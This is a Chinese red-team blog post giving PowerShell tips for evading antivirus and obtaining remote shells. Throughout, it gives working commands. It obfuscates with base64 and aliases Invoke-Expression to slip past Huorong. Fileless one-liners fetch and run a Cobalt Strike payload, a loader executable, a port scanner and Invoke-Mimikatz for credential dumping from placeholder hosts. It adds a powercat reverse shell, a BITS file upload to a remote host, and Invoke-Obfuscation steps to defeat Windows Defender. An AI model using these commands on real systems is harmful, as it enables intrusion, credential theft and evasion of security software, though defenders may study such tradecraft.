powershell红队免杀上线小Tips

  • A+
所属分类:安全文章

powershell是一个很好的宝藏库,在内网中可能会给出意外惊喜。

挑一点重点说说,本文的杀软以火绒为主。


其实我们都用过powershell,

比如ls,dir


powershell红队免杀上线小Tips


不过它只是Get-ChildItem别称。


常用命令和参数介绍:

命名规范:动词+名词=cmdlets



-Get-ExecutionPolicy:查看当前执行策


powershell红队免杀上线小Tips


第一次我们运行ps1脚本的时候会遇到这种情况,因为powershell默认安全策略为Restricted,此时脚本不能执行

修改的使用


PS C:UsersAdmin> Set-ExecutionPolicy -Scope CurrentUser

位于命令管道位置 1 的 cmdlet Set-ExecutionPolicy请为以下参数提供值:ExecutionPolicy: Unrestricted执行策略更改执行策略可帮助你防止执行不信任的脚本。更改执行策略可能会产生安全风险,如 https:/go.microsoft.com/fwlink/?LinkID=135170中的 about_Execution_Policies 帮助主题所述。是否要更改执行策略?[Y] 是(Y) [A] 全是(A) [N] 否(N) [L] 全否(L) [S] 暂停(S) [?] 帮助 (默认值为“N”): Y


Unrestricted:允许所有脚本运行(需要管理员权限)


powershell红队免杀上线小Tips


因为C:UsersAdmin不在powershell默认环境中,所以我们需要输入绝对路径


powershell红队免杀上线小Tips


$env:Path=$env:Path+"C:UsersAdmin"


添加到powershell的默认路径后,便可以直接执行了。


&在字符串前加上&,可以把字符串当成命令执行在字符串前加上&,可以把字符串当成命令执行。


powershell红队免杀上线小Tips


相同的命令还有IEX(Invoke-Expression),也是将字符串当作powershell执行


powershell红队免杀上线小Tips


-EXecutionPolicy Bypass:绕过powershell默认安全规定不能运行命令和文件


-WindowStyle Hidden(-W Hidden):隐藏窗口


-Nonlnteractive(-Nonl):非交互模式


-noexit:执行但不退出shell


Get-FileHash:获取文件hash


powershell红队免杀上线小Tips


-Import-Module:将模块添加到当前会话。


//如上传操作Import-Module BitsTransferStart-BitsTransfer -Source c:test.txt -Destination http://x.x.x.x/test.txt -transfertype upload


-EncodedCommand(-enc):接受base64编码的字符串


-set-alias:设置别名




powershell定义函数方式:


function FuncName(args[]){code;}



编辑器:


win10自带的ISE就挺不错,自动补全功能也很好。



powershell红队免杀上线小Tips




powershell-cs上线:


powershell红队免杀上线小Tips


也是调用了virtualalloc那些windows api创建而成。


常用的API还是要记住的


在一些木马分析的时候有时候也会感到有些相似的地方,比如,call ds:DeleteFileA..........call ds:CreateFileA............call ds:WriteFile.............call ds:CreateThread

删原来文件,创建一个新word,写,加载到新线程中。因为套路相似,调用的API也相似。


推荐查询网址:

https://docs.microsoft.com/zh-cn/windows/win32/apiindex/windows-api-list?redirectedfrom=MSDN


powershell红队免杀上线小Tips


首次扫描,火绒被火绒杀了。


powershell红队免杀上线小Tips

powershell红队免杀上线小Tips


在我们对这段代码加入上面我们的混淆以后,火绒便不会杀了,cs也可以正常上线。


powershell红队免杀上线小Tips


#然后火绒会对这个powershell执行脚本的行为进行行为拦截#echo ......  | powershell 也会被拦截powershell #从cmd进入powershell界面function ConvertFrom-Base64($string) {$bytes  = [Sys;tem.Convert]::FromBase64String($string);$decoded = [System.Text.Encoding]::UTF8.GetString($bytes); return $decoded;}$a="cG93ZXJzaGVsbCAtZXAgYnlwYXNzIC1mIE"$b="M6XFVzZXJzXEFkbWluXERlc2t0b3BccGF5bG9hZC5wczE="IEX(ConvertFrom-Base64($a+$b))


powershell红队免杀上线小Tips


不会这样拦截类似 powershell -ep bypass -f ........ps1了。


这个是笨方法


powershell红队免杀上线小Tips

因为测试其他powershell脚本的时候,没有被拦截,觉得还是关键字拦截。然后就这样混淆一下。



powershell-cs无文件上线:

powershell set-alias -name test -value Invoke-Expression;test(New-Object Net.WebClient).DownloadString('http://x.x.x.x/payload.ps1')


powershell红队免杀上线小Tips


把修改后的ps脚本放在服务器上,在有火绒的虚拟机上好像是直接上线了。


windows defender二话不说拦截,因为连windows defender静态免杀都没过。


powershell红队免杀上线小Tips


至于怎么过windows defender,上篇文章也写过。


不过这时候,文件是落地的。


powershell -Command $clnt = new-object System.Net.WebClient;$url= 'http://X.X.X.X/Loader.exe';$file = ' D:SYSTEM1.exe ';$clnt.DownloadFile($url,$file);&&D:SYSTEM1.exe


powershell红队免杀上线小Tips





项目推荐:


git clone https://github.com/mattifestation/PowerSploit.git
git clone https://github.com/samratashok/nishanggit clone https://github.com/besimorhino/powercat




无文件落地端口扫描:


powershell红队免杀上线小Tips


脚本放到vps,开启通道


在我们第一次尝试的时候,可能会出现这种问题:


powershell红队免杀上线小Tips


解决办法:

第一种可能:模块名字,你不经意的打错了

第二种可能:需要修改作用域的权限。


powershell红队免杀上线小Tips



执行后为:


powershell -nop -ep bypass -c "IEX (New-Object System.Net.WebClient).DownloadString('http://x.x.x.x/Invoke-Portscan.ps1')";Invoke-Portscan -Hosts 192.168.37.0/24 -T 4 -ports "3389" -oA c:windowstempest1.txt


powershell红队免杀上线小Tips


还有一点是执行的时候,杀软会拦截。


powershell红队免杀上线小Tips


不过我们换一种思路


powershell set-alias -name test -value Invoke-Expression;test(New-Object System.Net.WebClient).DownloadString('http://x.x.x.x/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.37.0/24 -T 4 -ports "3389" -oA c:windowstempest3.txt


powershell红队免杀上线小Tips


给IEX设置一个别名,再执行,火绒便不会再拦截。




无文件落地抓取密码:


powershell IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/Invoke-Mimikatz.ps1'); Invoke-Mimikatz



反弹shell:


#被控端:powershell IEX (New-Object System.Net.Webclient).DownloadString('http://x.x.x.x/powercat.ps1');powercat -c x.x.x.x -p 6666 -e cmd
nc -lvp 8888



power shell免杀项目推荐:


两个师傅的博客网址:

https://www.chabug.org/?s=powershell


https://www.cnblogs.com/forforever/p/13882312.html


感觉这两位师傅写的总结的都挺不错的,其他师傅写的也都很不错。

https://github.com/danielbohannon/Invoke-Obfuscation


Import-Module .Invoke-Obfuscation.psd1Invoke-Obfuscation


powershell红队免杀上线小Tips


进入我们的主界面


encoding模块进行混淆launcher模块生成加载器string模块混淆字符串


set scriptpath C:UsersAdminDesktoppayload222.ps1 #设置我们需要免杀的脚本路径encoding3out 1.ps1


powershell红队免杀上线小Tips


powershell红队免杀上线小Tips


powershell红队免杀上线小Tips


这里是过了Windows defender的静态免杀,这个工具其他模块功能都挺足的,师傅们可以研究一下

其他项目:


https://github.com/the-xentropy/xencrypt/blob/master/xencrypt.ps1


https://github.com/CBHue/PyFuscation


https://github.com/peewpw/Invoke-PSImage



end



powershell红队免杀上线小Tips


本文始发于微信公众号(雷石安全实验室):powershell红队免杀上线小Tips

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: